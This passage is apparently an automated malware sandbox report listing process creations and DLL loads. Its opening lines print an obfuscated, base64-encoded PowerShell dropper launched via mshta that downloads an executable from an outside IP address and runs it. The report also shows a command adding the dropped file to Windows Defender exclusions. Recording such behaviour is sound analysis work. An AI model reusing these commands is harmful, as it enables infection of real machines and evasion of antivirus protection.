AgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF21.tmp" "c:\Users\user\AppData\Local\Temp\sg2bcrbf\CSC9DC7DEFBB3DB4CF88431EEB79FD9B6EB.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESBF21.tmp" "c:\Users\user\AppData\Local\Temp\sg2bcrbf\CSC9DC7DEFBB3DB4CF88431EEB79FD9B6EB.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Process created: C:\Users\user\AppData\Roaming\wininit.exe "C:\Users\user\AppData\Roaming\wininit.exe"	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wininit.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
